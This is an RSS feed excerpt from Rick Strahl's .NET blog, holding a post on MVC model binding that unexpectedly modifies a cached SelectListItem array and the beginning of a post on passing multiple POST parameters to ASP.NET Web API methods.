<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
  <channel>
    <title>Rick Strahl's Web Log</title>
    <link>http://www.west-wind.com/weblog/</link>
    <description>Life, Surf, Code and everything in between</description>
    <generator>West Wind Web Log</generator>
    <language>en-us</language>
    <image>
      <url>http://www.west-wind.com/weblog/images/WebLogBannerLogo.jpg</url>
      <title>Rick Strahl's Web Log</title>
      <link>http://www.west-wind.com/weblog/</link>
    </image>
    <pubDate>Wed, 16 May 2012 14:39:37 GMT</pubDate>
    <lastBuildDate>Wed, 16 May 2012 16:44:00 GMT</lastBuildDate>
    <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/RickStrahl" /><feedburner:info uri="rickstrahl" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>20.906999</geo:lat><geo:long>-156.382029</geo:long><creativeCommons:license>http://creativecommons.org/licenses/by/2.0/</creativeCommons:license><xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" /><meta xmlns="http://pipes.yahoo.com" name="pipes" content="noprocess" /><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2FRickStrahl" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FRickStrahl" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2FRickStrahl" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FRickStrahl" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2FRickStrahl" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><item>
      <title>DropDownList and SelectListItem Array Item Updates in MVC</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/JoO8wkUD26c/DropDownList-and-SelectListItem-Array-Item-Updates-in-MVC</link>
      <guid isPermaLink="false">1353334_201205161644</guid>
      <pubDate>Wed, 16 May 2012 16:44:00 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/May/16/DropDownList-and-SelectListItem-Array-Item-Updates-in-MVC#Comments</comments>
      <slash:comments>2</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1353334</wfw:commentRss>
      <category>MVC</category>
      <category>ASP.NET</category>
      <category>.NET</category>
      <description>&lt;p&gt;So I ran into an interesting behavior today as I deployed my first MVC 4 app tonight. I have a list form that has a filter drop down that allows selection of categories. This list is static and rarely changes so rather than loading these items from the database each time I load the items once and then cache the actual SelectListItem[] array in a static property.&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/DropDownList-and-SelectItemArray-Items-g_14142/DropDown_2.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="DropDown" border="0" alt="DropDown" src="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/DropDownList-and-SelectItemArray-Items-g_14142/DropDown_thumb.png" width="255" height="130"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;However, when we put the site online tonight we immediately noticed that the drop down list was coming up with pre-set values that randomly changed. Didn't take me long to trace this back to the cached list of SelectListItem[]. Clearly the list was getting updated - apparently through the model binding process in the selection postback.&lt;/p&gt; &lt;p&gt;To clarify the scenario here's the drop down list definition in the Razor View:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: yellow"&gt;@&lt;/span&gt;Html.DropDownListFor(mod =&amp;gt; mod.QueryParameters.Category, &lt;strong&gt;Model.CategoryList&lt;/strong&gt;, &lt;span style="color: #a31515"&gt;"All Categories"&lt;/span&gt;)&lt;/pre&gt;
&lt;p&gt;where Model.CategoryList gets set with:&lt;/p&gt;&lt;pre class="code"&gt;[&lt;span style="color: #2b91af"&gt;HttpPost&lt;/span&gt;]
[&lt;span style="color: #2b91af"&gt;CompressContent&lt;/span&gt;]
&lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;ActionResult &lt;/span&gt;List(&lt;span style="color: #2b91af"&gt;MessageListViewModel &lt;/span&gt;model)
{
    InitializeViewModel(model);

&lt;span style="color: #2b91af"&gt;    busEntry &lt;/span&gt;entryBus = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;busEntry&lt;/span&gt;();
    &lt;span style="color: blue"&gt;var &lt;/span&gt;entries = entryBus.GetEntryList(model.QueryParameters);

    model.Entries = entries;
    model.DisplayMode = &lt;span style="color: #2b91af"&gt;ApplicationDisplayModes&lt;/span&gt;.Standard;
       
&lt;strong&gt;    model.CategoryList = &lt;span style="color: #2b91af"&gt;AppUtils&lt;/span&gt;.GetCachedCategoryList(&lt;/strong&gt;);&lt;br&gt;
&lt;span style="color: blue"&gt;    return &lt;/span&gt;View(model);
}
&lt;/pre&gt;
&lt;p&gt;The AppUtils.GetCachedCategoryList() method gets the cached list or loads the list on the first access. The code to load up the list is housed in a Web utility class. The method looks like this:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
/// &lt;/span&gt;&lt;span style="color: green"&gt;Returns a static category list that is cached
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
/// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
&lt;/span&gt;&lt;span style="color: blue"&gt;public static &lt;/span&gt;&lt;span style="color: #2b91af"&gt;SelectListItem&lt;/span&gt;[] GetCachedCategoryList()
{
    &lt;span style="color: blue"&gt;if &lt;/span&gt;(_CategoryList != &lt;span style="color: blue"&gt;null&lt;/span&gt;)
        &lt;span style="color: blue"&gt;return &lt;/span&gt;_CategoryList;

    &lt;span style="color: blue"&gt;lock &lt;/span&gt;(_SyncLock)
    {
        &lt;span style="color: blue"&gt;if &lt;/span&gt;(_CategoryList != &lt;span style="color: blue"&gt;null&lt;/span&gt;)
            &lt;span style="color: blue"&gt;return &lt;/span&gt;_CategoryList;
        
        &lt;span style="color: blue"&gt;var &lt;/span&gt;catBus = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;busCategory&lt;/span&gt;();
        &lt;span style="color: blue"&gt;var &lt;/span&gt;categories = catBus.GetCategories().ToList();


        &lt;span style="color: green"&gt;// Turn list into a SelectItem list            
        &lt;/span&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;catList= categories
                         .Select(cat =&amp;gt; &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;SelectListItem&lt;/span&gt;() { Text = cat.Name, Value = cat.Id.ToString() })
                         .ToList();

        catList.Insert(0, &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;SelectListItem&lt;/span&gt;()
        {
            Value = ((&lt;span style="color: blue"&gt;int&lt;/span&gt;)&lt;span style="color: #2b91af"&gt;SpecialCategories&lt;/span&gt;.AllCategoriesButRealEstate).ToString(),
            Text = &lt;span style="color: #a31515"&gt;"All Categories except Real Estate"
        &lt;/span&gt;});
        catList.Insert(1, &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;SelectListItem&lt;/span&gt;()
        {
            Value = &lt;span style="color: #a31515"&gt;"-1"&lt;/span&gt;,
            Text = &lt;span style="color: #a31515"&gt;"--------------------------------"                    
        &lt;/span&gt;});
        
        _CategoryList = catList.ToArray();
    }

    &lt;span style="color: blue"&gt;return &lt;/span&gt;_CategoryList;
}
&lt;span style="color: blue"&gt;private static &lt;/span&gt;&lt;span style="color: #2b91af"&gt;SelectListItem&lt;/span&gt;[] _CategoryList ;&lt;/pre&gt;
&lt;p&gt;This seemed normal enough to me - I've been doing stuff like this forever caching smallish lists in memory to avoid an extra trip to the database. This list is used in various places throughout the application - for the list display and also when adding new items and setting up for notifications etc..&lt;/p&gt;
&lt;h3&gt;Watch that ModelBinder!&lt;/h3&gt;
&lt;p&gt;However, it turns out that this code is clearly causing a problem. It appears that the model binder on the [HttpPost] method is actually updating the list that's bound to and changing the actual entry item in the list and setting its selected value. If you look at the code above I'm not setting the SelectListItem.Selected value anywhere - the only place this value can get set is through ModelBinding. Sure enough when stepping through the code I see that when an item is selected the actual model - model.CategoryList[x].Selected - reflects that.&lt;/p&gt;
&lt;p&gt;This is bad on several levels: First it's obviously affecting the application behavior - nobody wants to see their drop down list values jump all over the place randomly. But it's also a problem because the array is getting updated by multiple ASP.NET threads which likely would lead to odd crashes from time to time. Not good!&lt;/p&gt;
&lt;p&gt;In retrospect the modelbinding behavior makes perfect sense. The actual items and the Selected property is the ModelBinder's way of keeping track of one or more selected values. So while I assumed the list to be read-only, the ModelBinder is actually updating it on a post back producing the rather surprising results. Totally missed this during testing and is another one of those little - "Did you know?" moments.&lt;/p&gt;
&lt;p&gt;So, is there a way around this? Yes but it's maybe not quite obvious. I can't change the behavior of the ModelBinder, but I can certainly change the way that the list is generated. Rather than returning the cached list, I can return a brand new cloned list from the cached items like this:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
/// &lt;/span&gt;&lt;span style="color: green"&gt;Returns a static category list that is cached
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
/// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
&lt;/span&gt;&lt;span style="color: blue"&gt;public static &lt;/span&gt;&lt;span style="color: #2b91af"&gt;SelectListItem&lt;/span&gt;[] GetCachedCategoryList()
{
    &lt;span style="color: blue"&gt;if &lt;/span&gt;(_CategoryList != &lt;span style="color: blue"&gt;null&lt;/span&gt;)
    {
        &lt;span style="color: green"&gt;// Have to create new instances via projection
        // to avoid ModelBinding updates to affect this
        // globally
        &lt;/span&gt;&lt;span style="color: blue"&gt;return &lt;/span&gt;_CategoryList
                    .Select(cat =&amp;gt; &lt;strong&gt;&lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;SelectListItem&lt;/span&gt;()
                                   {
                                       Value = cat.Value,
                                       Text = cat.Text
                                   }&lt;/strong&gt;)
                    .ToArray();
    }
&lt;/pre&gt;&lt;pre class="code"&gt;    …&lt;/pre&gt;&lt;pre class="code"&gt;}&lt;/pre&gt;&lt;pre class="code"&gt;&amp;nbsp;&lt;/pre&gt;
&lt;p&gt;The key is that newly created instances of SelectListItems are returned not just filtered instances of the original list. The key here is 'new instances' so that the ModelBinding updates do not update the actual static instance. The code above uses LINQ and a projection into new SelectListItem instances to create this array of fresh instances. And this code works correctly - no more cross-talk between users.&lt;/p&gt;
&lt;p&gt;Unfortunately this code is also less efficient - it has to reselect the items and uses extra memory for the new array. Knowing what I know now I probably would have not cached the list and just take the hit to read from the database. If there is even a possibility of thread clashes I'm very wary of creating code like this. But since the method already exists and handles this load in one place this fix was easy enough to put in.&lt;/p&gt;
&lt;p&gt;Live and learn. It's little things like this that can cause some interesting head scratchers sometimes…&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=MVC'&gt;MVC&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=ASP.NET'&gt;ASP.NET&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=.NET'&gt;.NET&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="DropDownList and SelectListItem Array Item Updates in MVC" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/May/16/DropDownList-and-SelectListItem-Array-Item-Updates-in-MVC"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/May/16/DropDownList-and-SelectListItem-Array-Item-Updates-in-MVC" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=JoO8wkUD26c:sDUgFyaNsuk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=JoO8wkUD26c:sDUgFyaNsuk:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=JoO8wkUD26c:sDUgFyaNsuk:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=JoO8wkUD26c:sDUgFyaNsuk:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=JoO8wkUD26c:sDUgFyaNsuk:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=JoO8wkUD26c:sDUgFyaNsuk:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=JoO8wkUD26c:sDUgFyaNsuk:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=JoO8wkUD26c:sDUgFyaNsuk:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=JoO8wkUD26c:sDUgFyaNsuk:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/JoO8wkUD26c" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/May/16/DropDownList-and-SelectListItem-Array-Item-Updates-in-MVC</feedburner:origLink></item>
    <item>
      <title>Passing multiple POST parameters to Web API Controller Methods</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/XtchMy7iL9I/Passing-multiple-POST-parameters-to-Web-API-Controller-Methods</link>
      <guid isPermaLink="false">1347129_201205090529</guid>
      <pubDate>Wed, 09 May 2012 05:29:14 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/May/08/Passing-multiple-POST-parameters-to-Web-API-Controller-Methods#Comments</comments>
      <slash:comments>6</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1347129</wfw:commentRss>
      <category>Web Api</category>
      <description>&lt;p&gt;ASP.NET Web API introduces a new API for creating REST APIs and making AJAX callbacks to the server. This new API provides a host of new great functionality that unifies many of the features of many of the various AJAX/REST APIs that Microsoft created before it - ASP.NET AJAX, WCF REST specifically - and combines them into a whole more consistent API. Web API addresses many of the concerns that developers had with these older APIs, namely that it was very difficult to build consistent REST style resource APIs easily.&lt;/p&gt; &lt;p&gt;While Web API provides many new features and makes many scenarios much easier, a lot of the focus has been on making it easier to build REST compliant APIs that are focused on resource based solutions and HTTP verbs. But&amp;nbsp; RPC style calls that are common with AJAX callbacks in Web applications, have gotten a lot less focus and there are a few scenarios that are not that obvious, especially if you're expecting Web API to provide functionality similar to ASP.NET AJAX style AJAX callbacks.&lt;/p&gt; &lt;h3&gt;RPC vs. 'Proper' REST&lt;/h3&gt; &lt;p&gt;RPC style HTTP calls mimic calling a method with parameters and returning a result. Rather than mapping explicit server side resources or 'nouns' RPC calls tend simply map a server side operation, passing in parameters and receiving a typed result where parameters and result values are marshaled over HTTP. Typically RPC calls - like SOAP calls - tend to always be POST operations rather than following HTTP conventions and using the GET/POST/PUT/DELETE etc. verbs to implicitly determine what operation needs to be fired. &lt;/p&gt; &lt;p&gt;RPC might not be considered 'cool' anymore, but for typical private AJAX backend operations of a Web site I'd wager that a large percentage of use cases of Web API will fall towards RPC style calls rather than 'proper' REST style APIs. Web applications that have needs for things like live validation against data, filling data based on user inputs, handling small UI updates often don't lend themselves very well to limited HTTP verb usage. It might not be what the cool kids do, but I don't see RPC calls getting replaced by proper REST APIs any time soon.&amp;nbsp; Proper REST has its place - for 'real' API scenarios that manage and publish/share resources, but for more transactional operations RPC seems a better choice and much easier to implement than trying to shoehorn a boatload of endpoint methods into a few HTTP verbs.&lt;/p&gt; &lt;p&gt;In any case Web API does a good job of providing both RPC abstraction as well as the HTTP Verb/REST abstraction. RPC works well out of the box, but there are some differences especially if you're coming from ASP.NET AJAX service or WCF Rest when it comes to multiple parameters.&lt;/p&gt; &lt;h3&gt;Action Routing for RPC Style Calls&lt;/h3&gt; &lt;p&gt;If you've looked at Web API demos you've probably seen a bunch of examples of how to create HTTP Verb based routing endpoints. Verb based routing essentially maps a controller and then uses HTTP verbs to map the methods that are called in response to HTTP requests. This works great for resource APIs but doesn't work so well when you have many operational methods in a single controller. HTTP Verb routing is limited to the few HTTP verbs available (plus separate method signatures) and - worse than that - you can't easily extend the controller with custom routes or action routing beyond that.&lt;/p&gt; &lt;p&gt;Thankfully Web API also supports Action based routing which allows you create RPC style endpoints fairly easily:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: #2b91af"&gt;RouteTable&lt;/span&gt;.Routes.MapHttpRoute(
    name: &lt;span style="color: #a31515"&gt;"AlbumRpcApiAction"&lt;/span&gt;,
    routeTemplate: &lt;span style="color: #a31515"&gt;"albums/&lt;strong&gt;{action}&lt;/strong&gt;/{title}"&lt;/span&gt;,
    defaults: &lt;span style="color: blue"&gt;new
    &lt;/span&gt;{
        title = &lt;span style="color: #2b91af"&gt;RouteParameter&lt;/span&gt;.Optional,
        controller = &lt;span style="color: #a31515"&gt;"AlbumApi"&lt;/span&gt;,
        &lt;strong&gt;action = &lt;/strong&gt;&lt;span style="color: #a31515"&gt;&lt;strong&gt;"GetAblums"&lt;/strong&gt;
    &lt;/span&gt;}
);&lt;/pre&gt;
&lt;p&gt;This uses traditional MVC style {action} method routing which is different from the HTTP verb based routing you might have read a bunch about in conjunction with Web API. Action based routing like above lets you specify an end point method in a Web API controller either via the {action} parameter in the route string or via a default value for custom routes.&lt;/p&gt;
&lt;p&gt;Using routing you can pass multiple parameters either on the route itself or pass parameters on the query string, via ModelBinding or content value binding. For most common scenarios this actually works very well. As long as you are passing either a single complex type via a POST operation, or multiple simple types via query string or POST buffer, there's no issue. But if you need to pass multiple parameters as was easily done with WCF REST or ASP.NET AJAX things are not so obvious.&lt;/p&gt;
&lt;p&gt;Web API has no issue allowing for single parameter like this:&lt;/p&gt;&lt;pre class="code"&gt;[&lt;span style="color: #2b91af"&gt;HttpPost&lt;/span&gt;]
&lt;span style="color: blue"&gt;public string &lt;/span&gt;PostAlbum(&lt;span style="color: #2b91af"&gt;Album &lt;/span&gt;album)
{
    &lt;span style="color: blue"&gt;return &lt;/span&gt;&lt;span style="color: #2b91af"&gt;String&lt;/span&gt;.Format(&lt;span style="color: #a31515"&gt;"{0} {1:d}"&lt;/span&gt;, album.AlbumName, album.Entered);
}

&lt;/pre&gt;
&lt;p&gt;There are actually two ways to call this endpoint:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;albums/PostAlbum&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Using the Model Binder with plain POST values&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;In this mechanism you're sending plain urlencoded POST values to the server which the ModelBinder then maps the parameter. Each property value is matched to each matching POST value. This works similar to the way that MVC's&amp;nbsp; ModelBinder works. Here's how you can POST using the ModelBinder and jQuery:&lt;/p&gt;&lt;pre class="code"&gt;$.ajax(
{
    url: &lt;span style="color: maroon"&gt;"albums/PostAlbum"&lt;/span&gt;,
    &lt;strong&gt;type: &lt;span style="color: maroon"&gt;"POST"&lt;/span&gt;,&lt;/strong&gt;
    &lt;strong&gt;data: { AlbumName: &lt;span style="color: maroon"&gt;"Dirty Deeds"&lt;/span&gt;, Entered: &lt;span style="color: maroon"&gt;"5/1/2012" &lt;/span&gt;},
&lt;/strong&gt;&lt;span style="color: #006400"&gt;    &lt;/span&gt;success: &lt;span style="color: blue"&gt;function &lt;/span&gt;(result) {
&lt;span style="color: #006400"&gt;        &lt;/span&gt;alert(result);
    },
    error: &lt;span style="color: blue"&gt;function &lt;/span&gt;(xhr, status, p3, p4) {
        &lt;span style="color: blue"&gt;var &lt;/span&gt;err = &lt;span style="color: maroon"&gt;"Error " &lt;/span&gt;+ " " + status + " " + p3;
        &lt;span style="color: blue"&gt;if &lt;/span&gt;(xhr.responseText &amp;amp;&amp;amp; xhr.responseText[0] == &lt;span style="color: maroon"&gt;"{"&lt;/span&gt;)
            err = JSON.parse(xhr.responseText).message;
        alert(err);
    }
});&lt;/pre&gt;
&lt;p&gt;Here's what the POST data looks like for this request:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Usi.net-JObject-to-Parse-multiple-POST-p_F362/FireBug_2.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="FireBug" border="0" alt="FireBug" src="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Usi.net-JObject-to-Parse-multiple-POST-p_F362/FireBug_thumb.png" width="552" height="357"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The model binder and it's straight form based POST mechanism is great for posting data directly from HTML pages to model objects. It avoids having to do manual conversions for many operations and is a great boon for AJAX callback requests. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Using Web API JSON Formatter&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The other option is to post data using a JSON string. The process for this is similar except that you create a JavaScript object and serialize it to JSON first.&lt;/p&gt;&lt;pre class="code"&gt;album = {
    AlbumName: &lt;span style="color: maroon"&gt;"PowerAge"&lt;/span&gt;,
    Entered: &lt;span style="color: blue"&gt;new &lt;/span&gt;Date(1977,0,1)
}
$.ajax(
{
    url: &lt;span style="color: maroon"&gt;"albums/PostAlbum"&lt;/span&gt;,
    type: &lt;span style="color: maroon"&gt;"POST"&lt;/span&gt;,
    &lt;strong&gt;contentType: &lt;span style="color: maroon"&gt;"application/json"&lt;/span&gt;,
&lt;/strong&gt;    &lt;strong&gt;data: JSON.stringify(album),
&lt;/strong&gt;    success: &lt;span style="color: blue"&gt;function &lt;/span&gt;(result) {
        alert(result);
    }
});&lt;/pre&gt;
&lt;p&gt;Here the data is sent using a JSON object rather than form data and the data is JSON encoded over the wire. &lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Usi.net-JObject-to-Parse-multiple-POST-p_F362/JsonPost_2.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="JsonPost" border="0" alt="JsonPost" src="http://www.west-wind.com/Weblog/images/200901/Windows-Live-Writer/Usi.net-JObject-to-Parse-multiple-POST-p_F362/JsonPost_thumb.png" width="519" height="319"&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;The trace reveals that the data is sent using plain JSON (Source above), which is a little more efficient since there's no UrlEncoding that occurs.&lt;/p&gt;
&lt;p&gt;BTW, notice that WebAPI automatically deals with the date. I provided the date as a plain string, rather than a JavaScript date value and the Formatter and ModelBinder both automatically map the date propertly to the Entered DateTime property of the Album object.&lt;/p&gt;
&lt;h3&gt;Passing multiple Parameters to a Web API Controller&lt;/h3&gt;
&lt;p&gt;Single parameters work fine in either of these RPC scenarios and that's to be expected. ModelBinding always works against a single object because it maps a model. But what happens when you want to pass multiple parameters?&lt;/p&gt;
&lt;p&gt;Consider an API Controller method that has a signature like the following:&lt;/p&gt;&lt;pre class="code"&gt;[&lt;span style="color: #2b91af"&gt;HttpPost&lt;/span&gt;]
&lt;span style="color: blue"&gt;public string &lt;/span&gt;PostAlbum(&lt;span style="color: #2b91af"&gt;Album &lt;/span&gt;album, &lt;span style="color: #2b91af"&gt;string &lt;/span&gt;userToken)&lt;/pre&gt;





&lt;p&gt;Here I'm asking to pass two objects to an RPC method. Is that possible? This used to be fairly straight forward either with WCF REST and ASP.NET AJAX ASMX services, but as far as I can tell this is not directly possible using a POST operation with WebAPI.&lt;/p&gt;
&lt;p&gt;There a few workarounds that you can use to make this work:&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Use both POST *and* QueryString Parameters in Conjunction&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;If you have both complex and simple parameters, you can pass simple parameters on the query string. The above would actually work with:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;/album/PostAlbum?&lt;strong&gt;userToken=sekkritt&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;but that's not always possible. In this example it might not be a good idea to pass a user token on the query string though. It also won't work if you need to pass multiple complex objects, since query string values do not support complex type mapping. They only work with simple types.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Use a single Object that wraps the two Parameters&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;If you go by service based architecture guidelines every service method should always pass and return a single value only. The input should wrap potentially multiple input parameters and the output should convey status as well as provide the result value. You typically have a xxxRequest and a xxxResponse class that wraps the inputs and outputs.&lt;/p&gt;
&lt;p&gt;Here's what this method might look like:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;PostAlbumResponse &lt;/span&gt;PostAlbum(&lt;span style="color: #2b91af"&gt;PostAlbumRequest &lt;/span&gt;request)
{
    &lt;span style="color: blue"&gt;var &lt;/span&gt;album = request.Album;
    &lt;span style="color: blue"&gt;var &lt;/span&gt;userToken = request.UserToken;

    &lt;span style="color: blue"&gt;return new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;PostAlbumResponse&lt;/span&gt;()
    {
         IsSuccess = &lt;span style="color: blue"&gt;true&lt;/span&gt;,
         Result = &lt;span style="color: #2b91af"&gt;String&lt;/span&gt;.Format(&lt;span style="color: #a31515"&gt;"{0} {1:d} {2}"&lt;/span&gt;, album.AlbumName, album.Entered,userToken)
    };
}
&lt;/pre&gt;
&lt;p&gt;with these support types:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;PostAlbumRequest
&lt;/span&gt;{
    &lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Album &lt;/span&gt;Album { &lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }
    &lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;User &lt;/span&gt;User { &lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }
